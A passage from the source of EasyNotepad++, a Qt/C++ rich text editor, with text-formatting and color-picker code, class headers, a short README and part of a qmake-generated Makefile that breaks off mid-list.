bool ok;
QFont font = QFontDialog::getFont(&ok, ui->textEdit->textCursor().charFormat().font(), this);
if(ok){
QTextCharFormat format;
format.setFont(font);
mergeFormat(format);
}
}
//Change font color
void ETab::changeColor(){
ColorPicker *p = new ColorPicker(this);
p->exec();
}
//Merge font format into current cursor
void ETab::mergeFormat(QTextCharFormat format){
QTextCursor cursor = ui->textEdit->textCursor();
cursor.mergeCharFormat(format);
ui->textEdit->mergeCurrentCharFormat(format);
}
void ETab::insertLink(QString text, QString url) {
QTextCursor cursor = ui->textEdit->textCursor();
cursor.insertHtml("<a href=\""+url+"\">"+text+"</a> ");
}
void ETab::createLink() {
UrlPicker *p = new UrlPicker(this);
p->exec();
}
QString ETab::getSelection() {
QTextCursor cursor = ui->textEdit->textCursor();
if(cursor.hasSelection())
return cursor.selectedText();
else
return "";
}
QColor ETab::foreground() {
return ui->textEdit->textCursor().charFormat().foreground().color();
}
QColor ETab::background() {
return ui->textEdit->textCursor().charFormat().background().color();
}
//Set special style like header or list
void ETab::setStyle(int type){
QTextCursor cursor = ui->textEdit->textCursor();
QTextListFormat::Style style = QTextListFormat::ListStyleUndefined;
QTextBlockFormat::MarkerType marker = QTextBlockFormat::MarkerType::NoMarker;
switch (type) {
case 1:
style = QTextListFormat::ListDisc;
break;
case 2:
style = QTextListFormat::ListCircle;
break;
case 3:
style = QTextListFormat::ListSquare;
break;
case 4:
if (cursor.currentList())
style = cursor.currentList()->format().style();
else
{
style = QTextListFormat::ListDisc;
marker = QTextBlockFormat::MarkerType::Unchecked;
}
break;
case 5:
if (cursor.currentList())
style = cursor.currentList()->format().style();
else
{
style = QTextListFormat::ListDisc;
marker = QTextBlockFormat::MarkerType::Checked;
}
break;
case 6:
style = QTextListFormat::ListDecimal;
break;
case 7:
style = QTextListFormat::ListLowerAlpha;
break;
case 8:
style = QTextListFormat::ListUpperAlpha;
break;
case 9:
style = QTextListFormat::ListLowerRoman;
break;
case 10:
style = QTextListFormat::ListUpperRoman;
break;
default:
break;
}
cursor.beginEditBlock();
QTextBlockFormat format = cursor.blockFormat();
if (style == QTextListFormat::ListStyleUndefined) {
format.setObjectIndex(-1);
int headingLevel = type >= 11 ? type - 11 + 1 : 0; // H1 to H6, or Standard
format.setHeadingLevel(headingLevel);
cursor.setBlockFormat(format);
int sizeAdjustment = headingLevel ? 4 - headingLevel : 0; // H1 to H6: +3 to -2
QTextCharFormat fmt;
fmt.setFontWeight(headingLevel ? QFont::Bold : QFont::Normal);
fmt.setProperty(QTextFormat::FontSizeAdjustment, sizeAdjustment);
cursor.select(QTextCursor::LineUnderCursor);
cursor.mergeCharFormat(fmt);
ui->textEdit->mergeCurrentCharFormat(fmt);
} else {
format.setMarker(marker);
cursor.setBlockFormat(format);
QTextListFormat listFmt;
if (cursor.currentList()) {
listFmt = cursor.currentList()->format();
} else {
listFmt.setIndent(format.indent() + 1);
format.setIndent(0);
cursor.setBlockFormat(format);
}
listFmt.setStyle(style);
cursor.createList(listFmt);
}
cursor.endEditBlock();
}
void ETab::setAlign(int type){
switch (type) {
case 0:
ui->textEdit->setAlignment(Qt::AlignLeft | Qt::AlignAbsolute);
break;
case 1:
ui->textEdit->setAlignment(Qt::AlignCenter);
break;
case 2:
ui->textEdit->setAlignment(Qt::AlignRight | Qt::AlignAbsolute);
break;
case 3:
ui->textEdit->setAlignment(Qt::AlignJustify);
break;
}
}
bool ETab::fileExists() {
return file->exists();
}
<file_sep>#include "colorpicker.h"
#include "ui_colorpicker.h"
#include <iostream>
#include <QColorDialog>
#include <QTextCharFormat>
//Make sure the ui file <class></class> and name= are the same as Ui::*
ColorPicker::ColorPicker(ETab *tab) : ui(new Ui::ColorPicker)
{
this->setAttribute(Qt::WA_DeleteOnClose); //Make sure ~ is called
this->foreground = tab->foreground();
this->background = tab->background();
this->parentTab = tab;
ui->setupUi(this);
this->updateColors();
}
ColorPicker::~ColorPicker() {
delete ui;
}
//Set color squares
void ColorPicker::updateColors() {
ui->foreground->setStyleSheet("background-color: " + this->foreground.name());
ui->background->setStyleSheet("background-color: " + this->background.name());
}
void ColorPicker::on_btnForeground_clicked()
{
QColor color = QColorDialog::getColor(this->foreground, this);
if(color.isValid()){
this->foreground = color;
updateColors();
foregroundChanged = true;
}
}
void ColorPicker::on_btnBackground_clicked()
{
QColor color = QColorDialog::getColor(this->background, this);
if(color.isValid()){
this->background = color;
updateColors();
backgroundChanged = true;
}
}
void ColorPicker::on_buttonBox_accepted()
{
QTextCharFormat format;
if(foregroundChanged) {
format.setForeground(foreground);
}
if(backgroundChanged) {
format.setBackground(background);
}
parentTab->mergeFormat(format);
}
<file_sep>#ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include <QMainWindow>
#include <QTextCharFormat>
#include <QLabel>
#include <QMenu>
#include <iostream>
QT_BEGIN_NAMESPACE
namespace Ui { class MainWindow; }
QT_END_NAMESPACE
class MainWindow : public QMainWindow
{
Q_OBJECT
public:
MainWindow(QStringList* params, QJsonObject *json = nullptr, QWidget *parent = nullptr);
~MainWindow();
void updateStatusLabel(int line, int col);
void updateActions(const QTextCharFormat &format);
void updateMessage(QString message);
void updateAutoSave(bool checked);
enum ACTION {
CHANGEFONTSIZE, CHANGEFONT, CHANGECOLOR, CLOSE, SAVE, SAVEAS, DELETE, SETAUTOSAVE,
SETHNORMAL, SETH1, SETH2, SETH3, SETH4, SETH5, SETH6,
LISTDISK, LISTCIRCLE, LISTSQUARE, LISTUNCHECKED, LISTCHECKED, LISTDECIMAL,
LISTALPHALOWER, LISTALPHAUPPER, LISTROMANLOWER, LISTROMANUPPER,
ALIGNLEFT, ALIGNCENTER, ALIGNRIGHT, ALIGNJUSTIFY, CREATELINK
};
enum THEME {
DEFAULT, LIGHT, DARK, BLUE
};
private slots:
void updateTime();
void on_actionBold_triggered();
void on_actionItalic_triggered();
void on_actionUnderline_triggered();
void on_action_New_triggered();
void on_action_Close_triggered();
void on_action_Exit_triggered();
void on_actionStrikeout_triggered();
void on_actionBigger_triggered();
void on_actionSmaller_triggered();
void on_actionFont_family_triggered();
void on_actionColor_triggered();
void on_actionStay_topmost_triggered();
void on_actionOpen_triggered();
void on_actionSave_triggered();
void on_actionSave_as_triggered();
void on_actionDelete_file_triggered();
void on_actionClose_all_triggered();
void on_actionForce_Quit_triggered();
void on_actionAutosave_triggered();
void on_actionRemeber_opened_files_triggered();
void on_actionStandard_triggered();
void on_actionHeading_1_triggered();
void on_actionHeading_2_triggered();
void on_actionHeading_3_triggered();
void on_actionHeading_4_triggered();
void on_actionHeading_5_triggered();
void on_actionHeading_6_triggered();
void on_actionCircle_triggered();
void on_actionSquare_triggered();
void on_actionDisc_triggered();
void on_actionAlpha_lower_triggered();
void on_actionAlpha_upper_triggered();
void on_actionRoman_lower_triggered();
void on_actionRoman_upper_triggered();
void on_actionStandard_numeric_triggered();
void on_actionCheckbox_triggered();
void on_actionCheckbox_checked_triggered();
void on_actionLeft_triggered();
void on_actionRight_triggered();
void on_actionCenter_triggered();
void on_actionJustify_triggered();
void on_actionAbout_triggered();
void on_actionUse_default_triggered();
void on_actionUse_light_theme_triggered();
void on_actionUse_dark_theme_triggered();
void on_actionUse_blue_theme_triggered();
void on_actionHyperlink_triggered();
private:
Ui::MainWindow *ui;
QLabel *lblStatus;
QLabel *lblClock;
QString tempfile;
QJsonObject *settings;
QStringList *params;
THEME theme;
void setFontOnSelected(const QTextCharFormat &format);
void openTab(QString title);
void updateActions();
void changeTab(ACTION action, int argument = 0);
int index;
bool donotload;
void loadTempFile();
void saveTempFile();
void setTheme(THEME theme, bool showMessage = false);
void toggleMenu(QMenu* menu, bool disable = true);
//Event overloads
void closeEvent(QCloseEvent *event);
void showEvent(QShowEvent* event);
void dragEnterEvent(QDragEnterEvent *event);
void dropEvent(QDropEvent *event);
};
#endif // MAINWINDOW_H
<file_sep>#ifndef ETAB_H
#define ETAB_H
#include <QWidget>
#include <QTimer>
#include <QFile>
#include <QTextListFormat>
#include <QTextCharFormat>
#include <QColor>
#include <mainwindow.h>
namespace Ui {
class ETab;
}
class ETab : public QWidget
{
Q_OBJECT
public:
explicit ETab(MainWindow *mainwindow, QWidget *parent = nullptr);
~ETab();
void setFontFormat(const QTextCharFormat &format);
QString getFileName();
bool hasChanges();
bool isAutosave();
void setFileName(QString name);
void changeFontSize(bool increase);
void changeFont();
void changeColor();
void openFile();
void saveFile(bool force = false);
void setAutoSave(bool enabled);
void setStyle(int type);
void setAlign(int type);
void focus();
void setContent(QString text, bool doSave = true);
void mergeFormat(QTextCharFormat format);
void insertLink(QString title, QString url);
void createLink();
QString getSelection();
QString getContent();
bool fileExists();
QColor foreground();
QColor background();
private slots:
void timerTick();
void on_textEdit_currentCharFormatChanged(const QTextCharFormat &format);
void on_textEdit_cursorPositionChanged();
void on_textEdit_textChanged();
private:
Ui::ETab *ui;
MainWindow *main;
QFile *file;
QTimer *timer;
bool autosave;
bool changes;
bool dontSave;
void useFile(bool write);
QString getName();
};
#endif // ETAB_H
<file_sep># EasyNotepad++
EasyNotepad++ is an richtext editor for Windows and Linux. It supports HTML, Markdown, and plain text files. It is also able to export a file to an odf file. It is made with QT and C++
# Licence
EasyNotepad is licenced under the MIT-licence.
# Download
Check the [releases](https://github.com/maurictg/EasyNotepad/releases) page
## Screenshots
Features

Headings

Lists

Autosave

Windows support

Dark, light and blue theme available

<file_sep>#############################################################################
# Makefile for building: EasyNotepad
# Generated by qmake (3.1) (Qt 5.15.0)
# Project: EasyNotepad.pro
# Template: app
# Command: /usr/bin/qmake -o Makefile EasyNotepad.pro
#############################################################################
MAKEFILE = Makefile
EQ = =
####### Compiler, tools and options
CC = gcc
CXX = g++
DEFINES = -DQT_DEPRECATED_WARNINGS -DQT_NO_DEBUG -DQT_WIDGETS_LIB -DQT_GUI_LIB -DQT_CORE_LIB
CFLAGS = -pipe -O2 -Wall -Wextra -D_REENTRANT -fPIC $(DEFINES)
CXXFLAGS = -pipe -O2 -std=gnu++11 -Wall -Wextra -D_REENTRANT -fPIC $(DEFINES)
INCPATH = -I. -isystem /usr/include/qt -isystem /usr/include/qt/QtWidgets -isystem /usr/include/qt/QtGui -isystem /usr/include/qt/QtCore -I. -I. -I/usr/lib/qt/mkspecs/linux-g++
QMAKE = /usr/bin/qmake
DEL_FILE = rm -f
CHK_DIR_EXISTS= test -d
MKDIR = mkdir -p
COPY = cp -f
COPY_FILE = cp -f
COPY_DIR = cp -f -R
INSTALL_FILE = install -m 644 -p
INSTALL_PROGRAM = install -m 755 -p
INSTALL_DIR = cp -f -R
QINSTALL = /usr/bin/qmake -install qinstall
QINSTALL_PROGRAM = /usr/bin/qmake -install qinstall -exe
DEL_FILE = rm -f
SYMLINK = ln -f -s
DEL_DIR = rmdir
MOVE = mv -f
TAR = tar -cf
COMPRESS = gzip -9f
DISTNAME = EasyNotepad1.0.0
DISTDIR = /home/maurict/Documents/Dev/EasyNotepad/EasyNotepad/.tmp/EasyNotepad1.0.0
LINK = g++
LFLAGS = -Wl,-O1
LIBS = $(SUBLIBS) /usr/lib/libQt5Widgets.so /usr/lib/libQt5Gui.so /usr/lib/libQt5Core.so -lGL -lpthread
AR = ar cqs
RANLIB =
SED = sed
STRIP = strip
####### Output directory
OBJECTS_DIR = ./
####### Files
SOURCES = etab.cpp \
main.cpp \
mainwindow.cpp qrc_resources.cpp \
qrc_style.cpp \
moc_etab.cpp \
moc_mainwindow.cpp
OBJECTS = etab.o \
main.o \
mainwindow.o \
qrc_resources.o \
qrc_style.o \
moc_etab.o \
moc_mainwindow.o
DIST = /usr/lib/qt/mkspecs/features/spec_pre.prf \
/usr/lib/qt/mkspecs/common/unix.conf \
/usr/lib/qt/mkspecs/common/linux.conf \
/usr/lib/qt/mkspecs/common/sanitize.conf \
/usr/lib/qt/mkspecs/common/gcc-base.conf \
/usr/lib/qt/mkspecs/common/gcc-base-unix.conf \
/usr/lib/qt/mkspecs/common/g++-base.conf \
/usr/lib/qt/mkspecs/common/g++-unix.conf \
/usr/lib/qt/mkspecs/qconfig.pri \
/usr/lib/qt/mkspecs/modules/qt_Attica.pri \
/usr/lib/qt/mkspecs/modules/qt_Baloo.pri \
/usr/lib/qt/mkspecs/modules/qt_BluezQt.pri \
/usr/lib/qt/mkspecs/modules/qt_KActivities.pri \
/usr/lib/qt/mkspecs/modules/qt_KActivitiesStats.pri \
/usr/lib/qt/mkspecs/modules/qt_KArchive.pri \
/usr/lib/qt/mkspecs/modules/qt_KAuth.pri \
/usr/lib/qt/mkspecs/modules/qt_KAuthCore.pri \
/usr/lib/qt/mkspecs/modules/qt_KBookmarks.pri \
/usr/lib/qt/mkspecs/modules/qt_KCMUtils.pri \
/usr/lib/qt/mkspecs/modules/qt_KCodecs.pri \
/usr/lib/qt/mkspecs/modules/qt_KCompletion.pri \
/usr/lib/qt/mkspecs/modules/qt_KConfigCore.pri \
/usr/lib/qt/mkspecs/modules/qt_KConfigGui.pri \
/usr/lib/qt/mkspecs/modules/qt_KConfigWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_KContacts.pri \
/usr/lib/qt/mkspecs/modules/qt_KCoreAddons.pri \
/usr/lib/qt/mkspecs/modules/qt_KCrash.pri \
/usr/lib/qt/mkspecs/modules/qt_KDBusAddons.pri \
/usr/lib/qt/mkspecs/modules/qt_KDeclarative.pri \
/usr/lib/qt/mkspecs/modules/qt_KDESu.pri \
/usr/lib/qt/mkspecs/modules/qt_KDNSSD.pri \
/usr/lib/qt/mkspecs/modules/qt_KEmoticons.pri \
/usr/lib/qt/mkspecs/modules/qt_KFileMetaData.pri \
/usr/lib/qt/mkspecs/modules/qt_KGlobalAccel.pri \
/usr/lib/qt/mkspecs/modules/qt_KGuiAddons.pri \
/usr/lib/qt/mkspecs/modules/qt_KHolidays.pri \
/usr/lib/qt/mkspecs/modules/qt_KHtml.pri \
/usr/lib/qt/mkspecs/modules/qt_KI18n.pri \
/usr/lib/qt/mkspecs/modules/qt_KIconThemes.pri \
/usr/lib/qt/mkspecs/modules/qt_KIdleTime.pri \
/usr/lib/qt/mkspecs/modules/qt_KIOCore.pri \
/usr/lib/qt/mkspecs/modules/qt_KIOFileWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_KIOGui.pri \
/usr/lib/qt/mkspecs/modules/qt_KIOWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_Kirigami2.pri \
/usr/lib/qt/mkspecs/modules/qt_KItemModels.pri \
/usr/lib/qt/mkspecs/modules/qt_KItemViews.pri \
/usr/lib/qt/mkspecs/modules/qt_KJobWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_KJS.pri \
/usr/lib/qt/mkspecs/modules/qt_KJSApi.pri \
/usr/lib/qt/mkspecs/modules/qt_KNewStuff.pri \
/usr/lib/qt/mkspecs/modules/qt_KNewStuffCore.pri \
/usr/lib/qt/mkspecs/modules/qt_KNotifications.pri \
/usr/lib/qt/mkspecs/modules/qt_KNotifyConfig.pri \
/usr/lib/qt/mkspecs/modules/qt_KNTLM.pri \
/usr/lib/qt/mkspecs/modules/qt_KParts.pri \
/usr/lib/qt/mkspecs/modules/qt_KPeople.pri \
/usr/lib/qt/mkspecs/modules/qt_KPeopleWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_KPty.pri \
/usr/lib/qt/mkspecs/modules/qt_KRunner.pri \
/usr/lib/qt/mkspecs/modules/qt_KScreen.pri \
/usr/lib/qt/mkspecs/modules/qt_KService.pri \
/usr/lib/qt/mkspecs/modules/qt_KSyntaxHighlighting.pri \
/usr/lib/qt/mkspecs/modules/qt_KTextEditor.pri \
/usr/lib/qt/mkspecs/modules/qt_KTextWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_KUnitConversion.pri \
/usr/lib/qt/mkspecs/modules/qt_KUserFeedbackCore.pri \
/usr/lib/qt/mkspecs/modules/qt_KUserFeedbackWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_KWallet.pri \
/usr/lib/qt/mkspecs/modules/qt_KWaylandClient.pri \
/usr/lib/qt/mkspecs/modules/qt_KWaylandServer.pri \
/usr/lib/qt/mkspecs/modules/qt_KWidgetsAddons.pri \
/usr/lib/qt/mkspecs/modules/qt_KWindowSystem.pri \
/usr/lib/qt/mkspecs/modules/qt_KXmlGui.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_accessibility_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_bootstrap_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_concurrent.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_concurrent_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_core.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_core_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_dbus.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_dbus_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_designer.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_designer_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_designercomponents_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_devicediscovery_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_edid_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_egl_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_eglfs_kms_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_eglfsdeviceintegration_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_eventdispatcher_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_fb_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_fontdatabase_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_glx_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_gui.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_gui_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_help.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_help_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_hunspellinputmethod_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_input_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_kms_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_linuxaccessibility_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_location.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_location_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_multimedia.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_multimedia_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_multimediagsttools_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_multimediawidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_multimediawidgets_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_network.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_network_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_opengl.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_opengl_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_openglextensions.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_openglextensions_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_packetprotocol_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_pdf.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_pdf_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_pdfwidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_pdfwidgets_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_platformcompositor_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_positioning.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_positioning_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_positioningquick.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_positioningquick_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_printsupport.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_printsupport_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qml.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qml_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmldebug_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmldevtools_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmlmodels.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmlmodels_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmltest.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmltest_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmlworkerscript.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qmlworkerscript_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_qtmultimediaquicktools_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quick.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quick_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quickcontrols2.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quickcontrols2_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quickparticles_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quickshapes_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quicktemplates2.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quicktemplates2_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quickwidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_quickwidgets_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_script.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_script_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_scripttools.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_scripttools_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_sensors.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_sensors_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_service_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_sql.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_sql_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_svg.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_svg_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_testlib.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_testlib_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_texttospeech.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_texttospeech_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_theme_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_uiplugin.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_uitools.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_uitools_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_virtualkeyboard.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_virtualkeyboard_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_vulkan_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_waylandclient.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_waylandclient_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_waylandcompositor.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_waylandcompositor_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webchannel.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webchannel_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webengine.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webengine_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webenginecore.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webenginecore_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webenginecoreheaders_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webenginewidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_webenginewidgets_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_widgets.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_widgets_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_x11extras.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_x11extras_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_xcb_qpa_lib_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_xkbcommon_support_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_xml.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_xml_private.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_xmlpatterns.pri \
/usr/lib/qt/mkspecs/modules/qt_lib_xmlpatterns_private.pri \
/usr/lib/qt/mkspecs/modules/qt_phonon4qt5.pri \
/usr/lib/qt/mkspecs/modules/qt_Prison.pri \
/usr/lib/qt/mkspecs/modules/qt_QuickAddons.pri \
/usr/lib/qt/mkspecs/modules/qt_Solid.pri \
/usr/lib/qt/mkspecs/modules/qt_SonnetCore.pri \
/usr/lib/qt/mkspecs/modules/qt_SonnetUi.pri \
/usr/lib/qt/mkspecs/modules/qt_ThreadWeaver.pri \
/usr/lib/qt/mkspecs/features/qt_functions.prf \
/usr/lib/qt/mkspecs/features/qt_config.prf \
/usr/lib/qt/mkspecs/linux-g++/qmake.conf \
/usr/lib/qt/mkspecs/features/spec_post.prf \
.qmake.stash \
/usr/lib/qt/mkspecs/features/exclusive_builds.prf \
/usr/lib/qt/mkspecs/features/toolchain.prf \
/usr/lib/qt/mkspecs/features/default_pre.prf \
/usr/lib/qt/mkspecs/features/resolve_config.prf \
/usr/lib/qt/mkspecs/features/default_post.prf \
/usr/lib/qt/mkspecs/features/warn_on.prf \
/usr/lib/qt/mkspecs/features/qt.prf \
/usr/lib/qt/mkspecs/features/resources_functions.prf \
/usr/lib/qt/mkspecs/features/resources.prf \
/usr/lib/qt/mkspecs/features/moc.prf \
/usr/lib/qt/mkspecs/features/unix/opengl.prf \
/usr/lib/qt/mkspecs/features/uic.prf \
/usr/lib/qt/mkspecs/features/unix/thread.prf \
/usr/lib/qt/mkspecs/features/qmake_use.prf \
/usr/lib/qt/mkspecs/features/file_copies.prf \
/usr/lib/qt/mkspecs/features/testcase_targets.prf \
/usr/lib/qt/mkspecs/features/exceptions.prf \
/usr/lib/qt/mkspecs/features/yacc.prf \
/usr/lib/qt/mkspecs/features/lex.prf \
EasyNotepad.pro etab.h \
mainwindow.h etab.cpp \
main.cpp \
mainwindow.cpp
QMAKE_TARGET = EasyNotepad
DESTDIR =
TARGET = EasyNotepad
first: all
####### Build rules
EasyNotepad: ui_colorpicker.h ui_etab.h ui_mainwindow.h $(OBJECTS)
$(LINK) $(LFLAGS) -o $(TARGET) $(OBJECTS) $(OBJCOMP) $(LIBS)
Makefile: EasyNotepad.pro /usr/lib/qt/mkspecs/linux-g++/qmake.conf /usr/lib/qt/mkspecs/features/spec_pre.prf \
/usr/lib/qt/mkspecs/common/unix.conf \
/usr/lib/qt/mkspecs/common/linux.conf \
/usr/lib/qt/mkspecs/common/sanitize.conf \
/usr/lib/qt/mkspecs/common/gcc-base.conf \
/usr/lib/qt/mkspecs/common/gcc-base-unix.conf \
/usr/lib/qt/mkspecs/common/g++-base.conf \
/usr/lib/qt/mkspecs/common/g++-unix.conf \
/usr/lib/qt/mkspecs/qconfig.pri \
/usr/lib/qt/mkspecs/modules/qt_Attica.pri \
/usr/lib/qt/mkspecs/modules/qt_Baloo.pri \
/usr/lib/qt/mkspecs/modules/qt_BluezQt.pri \
/usr/lib/qt/mkspecs/modules/qt_KActivities.pri \
/usr/lib/qt/mkspecs/modules/qt_KActivitiesStats.pri \
/usr/lib/qt/mkspecs/modules/qt_KArchive.pri \
/usr/lib/qt/mkspecs/modules/qt_KAuth.pri \
/usr/lib/qt/mkspecs/modules/qt_KAuthCore.pri \
/usr/lib/qt/mkspecs/modules/qt_KBookmarks.pri \
/usr/lib/qt/mkspecs/modules/qt_KCMUtils.pri \
/usr/lib/qt/mkspecs/modules/qt_KCodecs.pri \
/usr/lib/qt/mkspecs/modules/qt_KCompletion.pri \
/usr/lib/qt/mkspecs/modules/qt_KConfigCore.pri \
/usr/lib/qt/mkspecs/modules/qt_KConfigGui.pri \
/usr/lib/qt/mkspecs/modules/qt_KConfigWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_KContacts.pri \
/usr/lib/qt/mkspecs/modules/qt_KCoreAddons.pri \
/usr/lib/qt/mkspecs/modules/qt_KCrash.pri \
/usr/lib/qt/mkspecs/modules/qt_KDBusAddons.pri \
/usr/lib/qt/mkspecs/modules/qt_KDeclarative.pri \
/usr/lib/qt/mkspecs/modules/qt_KDESu.pri \
/usr/lib/qt/mkspecs/modules/qt_KDNSSD.pri \
/usr/lib/qt/mkspecs/modules/qt_KEmoticons.pri \
/usr/lib/qt/mkspecs/modules/qt_KFileMetaData.pri \
/usr/lib/qt/mkspecs/modules/qt_KGlobalAccel.pri \
/usr/lib/qt/mkspecs/modules/qt_KGuiAddons.pri \
/usr/lib/qt/mkspecs/modules/qt_KHolidays.pri \
/usr/lib/qt/mkspecs/modules/qt_KHtml.pri \
/usr/lib/qt/mkspecs/modules/qt_KI18n.pri \
/usr/lib/qt/mkspecs/modules/qt_KIconThemes.pri \
/usr/lib/qt/mkspecs/modules/qt_KIdleTime.pri \
/usr/lib/qt/mkspecs/modules/qt_KIOCore.pri \
/usr/lib/qt/mkspecs/modules/qt_KIOFileWidgets.pri \
/usr/lib/qt/mkspecs/modules/qt_KIOGui.pri \
/usr/lib/qt/mkspecs/modules/qt_KIOWidgets.pri \
